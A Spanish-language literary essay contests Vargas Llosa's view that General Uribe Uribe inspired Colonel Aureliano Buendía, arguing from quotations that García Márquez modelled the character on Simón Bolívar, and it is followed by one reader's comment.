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Un deicidio transformado en parricidio.

Historia de un deicidio

 

La investigación académica se precia siempre de estar ajustada a la realidad, se intenta pasar como un asunto exclusivamente “científico”, tratando todas las evidencias con un riguroso control en la validación de las fuentes pues se supone que las tesis de grado o las doctorales serán alguna vez material de investigación para las generaciones futuras, además es importante nunca hacer especulaciones que años después puedan perseguirnos para opacar un poco nuestra credibilidad que a fin de cuentas es lo único que cuenta en esto de transitar por los espacios académicos.

Durante toda la lectura de este primer gran análisis sobre “Cien años de soledad” del Nobel Colombiano Gabriel García Márquez, Vargas Llosa hace un ejercicio de decodificación de los personajes, de la relación entre los personajes, las acciones, situaciones y hasta pertinencia geográfica de toda la obra anterior del colombiano y lo que aparece en “Cien años de soledad” , dejando perplejos a los lectores al ubicar en el ámbito espacio/tiempo a todo aquel realismo mágico que decanta la historia de la familia Buendía , sobre todo esa relación tan cercana entre ficción y realidad que acerca el genio de su autor con el universo de los lectores, cosa que extrañamente sucede en otros ejercicios de crítica.

Mientras hacia mi investigación para la prosecución de mi tesis de posgrado me tropecé varias veces con las referencias sobre la “Historia de un deicidio” (1971) , la tesis doctoral de Don Mario Vargas Llosa, hoy premio Nobel y genio de las letras latinoamericanas desde hace varias décadas, al leerla para intentar ubicar los datos necesarios me sorprendí al leer lo que sobre el personaje del coronel Aureliano Buendía escribió, mis lecturas posteriores nunca me llevaron a pensar tan siquiera que aquel origen del personaje que Vargas Llosa le atribuye pudiera ser verosímil.

Como estamos en tiempos donde Google hace las tareas de asistente de investigación de manera más eficiente y rápida que en una biblioteca, también tecleé el tópico y me tropecé con varias tesis de personajes menos encumbrados pero no menos importantes en los ámbitos universitarios de las distintas universidades latinoamericanas, sorprendiéndome incluso que una de ellas exhibía un artículo “original” donde francamente plagiaba a Vargas Llosa con asombrosa impavidez , quizás lo peor no fuese el plagio en sí, fue que nadie más se diera la tarea de denunciar a esa “profesional” , lo que me hace pensar en que el tiempo, verdugo inclemente, ha logrado que la “Historia de un deicidio” esté morando en el limbo de los libros olvidados, otra explicación más razonable dejaría muy mal parados a los colegas docentes universitarios e investigadores del área literaria.

Entre 1971 y el 2015 (fecha de finalizar mi investigación) han pasado bastantes años, Gabriel García Márquez ha fallecido, ganó un Nobel, publicó varias novelas más y hasta una autobiografía, sin tomar en cuenta la aparición de una biografía autorizada publicada en el año 2009 por el inglés Gerald Martín (Gabriel García Márquez , una vida) ni las cientos de entrevistas concedidas al difunto Nobel en muchos periódicos tanto de habla hispana como de otros idiomas pues sus novelas se han traducido para poder ser leídas en otros tantos lenguajes.

A más de cuarenta años de distancia entre la publicación de aquella tesis doctoral , es difícil saber cuál fue el impacto en la obra de García Márquez, si su pensamiento dio un giro o esperó a publicar su autobiografía para intentar desmentir aquel atentado contra su pedestal de autor famoso con el que el ahora Nobel de literatura lo apedreó desde la academia, pero entre las fuentes consultadas nunca se hizo ningún comentario sobre la aparición de aquel deicidio , sería cuestión de hacer otra investigación más ambiciosa para desentrañar los motivos de tanto silencio alrededor de un estudio profundo que debería ser estudiado en todas las universidades y además un honor para cualquier autor, que su obra sea desmenuzada cuan ejercicio freudiano para desentrañar los motivos de la creación, cosa que hace con bastante acierto Vargas Llosa.

El tiempo que es un verdugo inclemente deja al descubierto las fallas más concienzudamente escondidas para poner en aprietos hasta al más cuidadoso investigador, hasta allí no hay problemas, el problema según como se puede apreciar, está en no aclarar esos errores antes que se devuelvan a su autor para que cualquier otro investigador que ose profanar la sacro santa inmunidad  otorgada al ser merecedor del galardón más importante en el mundo le descubra las costuras. En el caso de mi investigación no sería solamente el Nobel pues debo aclarar que soy un admirador de su obra, más bien de quienes lo han plagiado a conciencia, de los que lo han hecho por accidente y lo peor, de quienes aun sabiendo que se cometen tamaños desaciertos no los señalan con el dedo por la razón que fuere.

Los argumentos manejados por Vargas Llosa para asegurar su tesis son bastante convincentes, pero al aparecer “El general en su laberinto” (1989) los argumentación del doctor Vargas comienza a hacer aguas pues a medida que vamos sumergiéndonos en la vida y obra del personaje que suponemos es el general Bolívar en sus últimos días, vamos estableciendo algunas similitudes evidentes entre este mítico héroe de nuestra historia y aquel otro de la ficción, dando indicios más que suficientes para poner en tela de juicio esa versión sobre el general Uribe que tanto Vargas Llosa como unos cuantos investigadores han dado por cierta durante más de cuarenta años.

Si comenzamos a pensar en ambos personajes (el general Bolívar y el coronel Buendía), a vuelo de pájaro podríamos asegurar que hay más de dos coincidencias en su construcción, a pesar de ser uno ficcional y el otro “real”, ambos se casaron con mujeres muy jóvenes, al enviudar a muy temprana edad se enrolan en las milicias, llegan a ser personajes claves en sus respectivas guerras, las dos guerras duraron veinte años, en el caso de la venezolana  podremos saber que duró desde 1810 hasta 1830, es un hecho histórico, en el caso de la ficción el mismo personaje nos lo cuenta “ En casi veinte años de guerra el coronel Aureliano Buendía había estado muchas veces en la casa” (p.199).

Ambos personajes, además, mantienen el don de la ubicuidad pues en algún momento de sus historias parecieran estar en todas partes menos donde se supone están, en el caso del general Bolívar “Mientras se pensaba que muriera en Pativilca, atravesó una vez más las crestas andinas, venció en Junín, completó la liberación de toda la América española con la victoria final de Ayacucho.” (p.35)

El coronel Buendía también pareciera que tiene el mismo don;

“Así empezó la leyenda de la ubicuidad del coronel Aureliano Buendía. Informaciones simultaneas y contradictorias lo declaraban victorioso en Villanueva, derrotado en Guacamayal, devorado por los indios Motilones, muerto en una aldea de la ciénaga y otra vez sublevado en Urumita” (p.154).

Como dato curioso, a pesar de la distancia en tiempo y espacio de ambas obras, el que “Cien años de soledad” sea considerada una obra del “Realismo Mágico Latinoamericano” que ocasionó la explosión del fenómeno que llamamos “Boom”, mientras la otra tiene una falsa pretensión de ser novela histórica pues fabula los últimos días de la vida de un prócer de la independencia latinoamericana con más que pruebas de su existencia, en cambio el coronel Buendía no existe más que en las páginas de la obra.

El general Bolívar tiene raptos de clarividencia (según García Márquez) pues estaba seguro que la muerte se anunciaría con tiempo suficiente como para tomar las previsiones del caso y jamás de manera intempestiva a pesar de las muchas acciones de guerra en que estuvo presente, leamos las pruebas de lo que aseveramos; “A él, que nunca admitió la realidad de los presagios. La señal era nítida: si lograba mantenerse vivo hasta el cumpleaños siguiente ya no habría muerte capaz de matarlo.” (p. 268). El hecho de la posible contradicción entre creer o no en los presagios puede achacarse a la posibilidad de la construcción de un personaje reacio a creer en misticismos ni milagros gracias a su mente racional, un recurso discursivo utilizado por el escritor para darle verosimilitud al personaje.

El coronel Buendía en cambio, si creía en los presagios, eran parte de su cultura ya que en Macondo no existían reglas que manejasen las realidades y al ser un personaje “imaginario” pues se puede permitir ciertas licencias a ese respecto, dicho sea de paso son reflejos auténticos de esta cultura caribe, recordemos que el autor es un costeño que se precia de serlo y al vivir en ese mar caribe es difícil no caer rendido a su influencia ; “Eran inútiles sus esfuerzos por sistematizar los presagios. Se presentaban de pronto, en una ráfaga de lucidez sobrenatural, como una convicción absoluta y momentánea, pero inasible. En ocasiones eran tan naturales, que no los identificaba como presagios hasta que se cumplían” (p. 150).

La cita textual indica el grado de creencia del coronel en los presagios sobre la muerte, al igual que su “predecesor” de ficción, el general Bolívar.

Otro señalamiento interesante, que da de alguna manera coherencia a la pretensión de la naturaleza contradictoria de ambos personajes ,a podríamos encontrar en su animadversión a mezclar el mundo militar con el mundo civil, contradicción pues al ser ambos militares, ambos rebeldes que militan en las filas de la insurrección  donde cabría suponer que los personajes en cuestión prefiriesen un gobierno pleno de su propia gente, lo que al final es un poco el sentir latinoamericano en eso de la política, la guerra y las consecuencias de ellas, una suerte de premio luego de tanta guerra, pero en la pluma del Nobel colombiano al parecer esa no es una referencia válida y prefiere sintetizar el pensamiento de sus héroes con respecto al asunto militarista ubicándolos fuera del espectro, una vez terminadas sus respectivas guerras el mundo civil era quien determinaría el curso de la historia de sus respectivos mundos.

Según García Márquez, Bolívar en una conversación con el mariscal Sucre de la cual no se ha encontrado nada en la historia oficial cuando menos, dice; “En su opinión, el primer paso   para la purificación era apartar del poder a los militares, y quería proponer que ningún general pudiera ser presidente …” (p.37).

En “Cien Años de Soledad” el coronel Buendía expresa; “…Liquidar la influencia de los militares y los políticos profesionales e instaurar un régimen humanitario…” (p.172).

Ambas citan aproximan aún más a ambos personajes, cuyas similitudes expresas están más allá de toda duda en cuanto a las posibilidades de que el general Bolívar pudiese ser la fuente primaria de inspiración al construir la imagen del guerrillero mítico de la ficción, el coronel Buendía .

Al final de la vida del general Bolívar, quien sabemos padece de tuberculosis y por tanto ha de tener fiebres que no lo abandonarán hasta su muerte. Debido a esas fiebres (suponemos) debe tener frio en los huesos todo el tiempo, tal y como lo recrea el autor, “Aun en las siestas más calurosas se echaba la manta encima, y permanecía en la hamaca con los ojos cerrados” (p.143).

El coronel Buendía también sufrió los rigores del frio en los huesos, aunque debido a otras causas no deja de llama la atención este punto; “Temblaba de fiebre y de frio y tenía las axilas empedradas de golondrinos” (p. 201). Aunque a en este pasaje de la vida del coronel Aureliano Buendía, el autor no nos explica muy bien cuáles son las razones de este mal, a diferencia del general Bolívar de quien si sabemos a ciencia cierta qué mal padeció, sin embargo podríamos inferir esta situación como una estrategia para aparejar ambos personajes y hacerlos más cercanos en la ficción, acercarlos (en el caso del general) aún más al “Territorio García Márquez” del que ya hablábamos en páginas anteriores.

Tanto el militar de ficción, como el ficcionado tienen hijos “naturales”, el coronel Buendía tiene 17 hijos, ninguno lleva su apellido y todos son producto de noches de amor en tiempos de guerras. El general Bolívar, aunque la historia oficial no admite que este personaje haya tenido descendencia, según varios historiadores tanto venezolanos como colombianos coinciden en asegurar que si tuvo varios hijos, inclusive algunos tuvieron sepelios de estado debido a su origen, aunque “ilícito” de mucha prosapia haber tenido como padre al general Bolívar.

Consideraciones finales

Sin ánimo de pretender quitar brillo a lo asegurado por el doctor Vargas en su tesis doctoral, una vez habiendo analizado las pistas que nos conducen a hacer estas aseveraciones podríamos asumir que está equivocado, no es el general Uribe Uribe quien inspira al coronel Buendía, es otro general no menos histórico pero si mucho más relevante quien tiene más posibilidades de ser quien haya inspirado a García Márquez en la construcción de este mítico coronel de ficción.

Otro detalle importante es que García Márquez, al construir sus ficciones, ciertamente se inspira en situaciones o personas con las que le ha tocado estar cerca, no es casual que “todo lo que he escrito hasta ahora lo conocía ya o lo había oído antes de los ocho años” (p.88) Vargas M. 1971. Aunque la cita pudiera ser un exceso de exageración por parte de un hombre quien se tomó  la libertad de novelarse a sí mismo en una autobiografía tan plagada de inexactitudes,  que más que una confesión de lo que fue su vida, tiene toda la estampa de parecerse a una justificación literaria para incorporarse a su “Territorio García Márquez”, el espacio ficcional que contiene toda su obra.

La cita anterior es una confesión del Nobel colombiano, donde admite que al final no inventó nada, que todo es una recreación de las personas y situaciones que poblaron sus primeros años y que al parecer nunca lo abandonaron en su imaginario personal. De ser esto cierto y apoyándonos en lo que al respecto refieren a la relación de su abuelo, gran inspirador de muchos personajes, quien sentía una admiración profunda hacia la figura del Libertador Simón Bolívar y que el mismo autor expresa en reiteradas ocasiones en su autobiografía;

“Fue mi abuelo quien me enseñó y me pidió no olvidar jamás que aquel fue el hombre más grande en la historia del mundo” (p.107) García G. 2002

Ante las palabras del mismo maestro de las letras es complicado buscar otros significados, más allá de las formas, aun del método, si su abuelo fue la más importante influencia al momento de conformar sus personajes, tanto así que él asume que  (desde la muerte de su abuelo) “ no me ha pasado nada interesante” (p.88) Vargas M. 1971 no sería nada de extrañar que en la praxis que ya había venido arrastrando desde aquellos primeros cuentos, quien para la época de haber publicado “El general en su laberinto” ya poseía un premio Nobel de literatura, además de muchos otros también importantes, haya fundido algunas características de su abuelo mítico quien también tenía debilidad por rendirle culto a Bolívar.

La visión del culto a Bolívar que pudo haber heredado de su abuelo, podría haber sido un incentivo extra para quien ha confesado a través de los años que todos los insumos para la construcción de “Cien años de soledad” devienen directamente de las vivencias de su infancia en Aracataca, lo que confirmaría ampliamente las coincidencias entre ambos personajes, el coronel de ficción con el general de la historia.

Después de haber revisado ampliamente en libros, estudios, artículos y hasta otras tesis. Sorprende que todos los personajes del universo narrativo y periodístico del Nobel colombiano parecieran tener su par en la “realidad” del autor, excepto el general Bolívar y el coronel Buendía.

 Con respecto al coronel Buendía, solamente Mario Vargas Llosa , en su tesis doctoral apunta hacia una tesis donde este coronel mantenía algunas similitudes evidentes, no solo con el coronel Márquez, su abuelo, también con el general Uribe Uribe quien (como ya dijimos líneas arriba) dirigió la guerra que hizo coronel a su abuelo.

Podríamos suponer que tanto el coronel Buendía como el general Bolívar son de alguna manera personajes arquetípicos del héroe romántico latinoamericano, que ambos (en distintos momentos históricos de la vida de García Márquez)  representan la síntesis de los héroes militares que poblaron el continente en el siglo XIX y cualquier cantidad de hipótesis posibles.

 Para el año 1971 ya le había dicho a Vargas Llosa que; “Yo no podría escribir una historia que no sea basada exclusivamente en experiencias personales” (p.88). Podríamos argüir que el general Uribe estaba cerca de sus vida pues de seguro el abuelo le había contado cientos de historias de la guerra, que al volverse adulto recreó hasta darle consistencia a al personaje de Buendía.

Sin embargo, al leer la autobiografía, así como su biografía y algunos artículos de prensa nos damos cuenta que García Márquez jamás nombra por ninguna parte al general Uribe, en cambio hace múltiples alusiones a la figura del Libertador, siempre desde la admiración por su abuelo;

“Nadie menos, el general Simón José Antonio de la Santísima Trinidad Bolívar y Palacios, mi héroe desde que me lo ordenó mi abuelo” (p.376) García G. 2002

Las negritas en la cita, que narra un encuentro fortuito entre el autor y una estatua del libertador, la primera noche que pasó en Cartagena y donde por casualidad le tocó dormir al descampado, enmarcan una afirmación de un García Márquez ya adulto, por tanto dueño de sus ideas y quien ha legado al público lector la confesión de su admiración por un personaje. Más allá de cualquier elucubración posible es difícil soslayar el hecho de que el colombiano sentía debilidad por el Libertador.

Utilizando las fuentes disponibles al alcance del investigador, hemos podido constatar, que de alguna manera el único personaje que pareciera no tener algún asidero en la realidad del Nobel colombiano, es el coronel Buendía, sin embargo, en vista de las mismas pistas donde hace referencia a su predilección por el general Bolívar, el escritor pareciera querer decirle a todo el mundo quien fue el héroe arquetípico en al cual basó la vida del coronel de ficción, tal como lo demuestra la frase citada bajo estas líneas:

 “Seguía siendo mi personaje inolvidable, a pesar de sus inconsecuencias irredimibles o quizás por ellas mismas. A fin de cuentas eran solo comparables a aquellas con las que mi abuelo conquistó su grado de coronel y se jugó la vida tantas veces en la guerra que sostuvieron los liberales contra el mismo  Partido Conservador que fundó y sustentó Bolívar”(p.376)

García G. 2002

Lo interesante es que en ninguna parte de su autobiografía nombra la guerra de los mil días, aquella guerra civil en la que supuestamente está inspirada la gesta del coronel Buendía, ni tampoco nombra al general Uribe Uribe, en cambio hace menciones reincidentes sobre la figura de Bolívar.

En el caso del origen del personaje del coronel Buendía, bien podríamos estar ante alguna broma de las tantas que utilizaba en el pináculo de su carrera, cuando el mundo se había maravillado de la “Realidad exótica” de “Cien años de soledad” , en el momento álgido del llamado “Boom”, en ese tiempo llegó al extremo de decir, muy serio  que “Sus novelas las escribía su mujer pero que él las firmaba porque eran muy malas y Mercedes no quería cargar con la responsabilidad” (p.80) Vargas M. 1971. Si era capaz de hacer en público una broma de esa categoría, bien podría haber persistido en el engaño por motivos que solamente él podría explicar.

Una vez analizados todos los datos y las reflexiones surgidas del estudio de la documentación disponible, podemos afirmar, si no categóricamente, cuando menos con razonable certeza, que uno de los componentes que integran la personalidad del coronel Aureliano Buendía , es efectivamente la personalidad del héroe aquel que su abuelo le ordenó honrar, y que el general Bolívar  a su vez es una síntesis de aquel coronel del cual escribió veintidós años antes de publicar “El general en su laberinto”, poseyendo algunas características del general histórico, haciendo entrar a un personaje histórico de lleno en el “territorio García Márquez” y así transformarlo en otra ficción más, como una suerte de aclaratoria histórica para que no quedase duda alguna de cuál fue el origen “real” de la inspiración en la construcción literaria del coronel Buendía.

Esta es la única conclusión  lógica posible, basada en el camino de pistas que el escritor ha dejado a lo largo de su obra de ficción (y algo de su trabajo periodístico).

Para cerrar he seleccionado una frase que dice haberle oído un periodista en los tiempos del grupo de Barranquilla, que según confesión del propio García Márquez fue la piedra angular del deslumbramiento literario que siguió a su creación;

 “Las diferencias de fondo entre la vida y la literatura eran simples errores de forma” (p.128)

García G. 2002.♦

José Briceño es cuentista y profesor de literatura en Venezuela.  Es columnista de interference desde 2014.

 

Bibliografía

García, G (1967). Cien años de soledad, Buenos Aires, Argentina. Editorial Suramericana

García, G. (1989) El general en su Laberinto. Bogotá, Colombia. Editorial Norma

García, G. (2002) Vivir para contarla, Nueva York,Estados Unidos de América, Editorial Vintage

Martín, G (2009). Gabriel García Márquez, una vida. Barcelona, España: Random House Mondadori S.A.

Vargas M., (1971) García Márquez: Historia de un deicidio. Caracas, Venezuela. Editorial Monte Avila

No Responses to “Un deicidio transformado en parricidio.

  • Ulises Escobar
    9 years ago

    Las dos tesis expuestas, la infirmada de Llosa y la aquí presentada, presuponen un elemento común y discutible, que sospecho es el centro de la polémica, según el cual la configuración de un personaje de ficción tiene una relación lineal/directa/biográfica con un personaje de la vida real, aquí se nos refieren estudios según los cuales, todos (un adjetivo peligroso) los personajes de Márquez tienen un “doble” en la realidad. Al margen de las declaraciones del Nobel colombiano, de las cuales no conocemos su contexto ni su intención específica, debemos sospechar, y aquí mi planteamiento, que a la configuración del personaje del C. Buendía, como a la de todos ( y aquí caigo en la trampa que antes señalé) los personajes de Márquez hay un proceso, natural para la escritura, donde el autor funde atributos físicos, espirituales, de acción y de destino ( piénsese en la imagen final del Coronel) que hacen imposible afirmar una sola presencia configurativa. Me seduce más la idea de unos tipos dominantes de la personalidad: Bolívar, el abuelo, Uribe; frente a los cuales confluyen otros tipos subordinados, un viejo visto al pasar en la calle, un cotertuliano, el mismo autor visto en el espejo; menos visibles pero inevitables, sumergidos, como todos nosotros, por las sombras de los grandes nombres.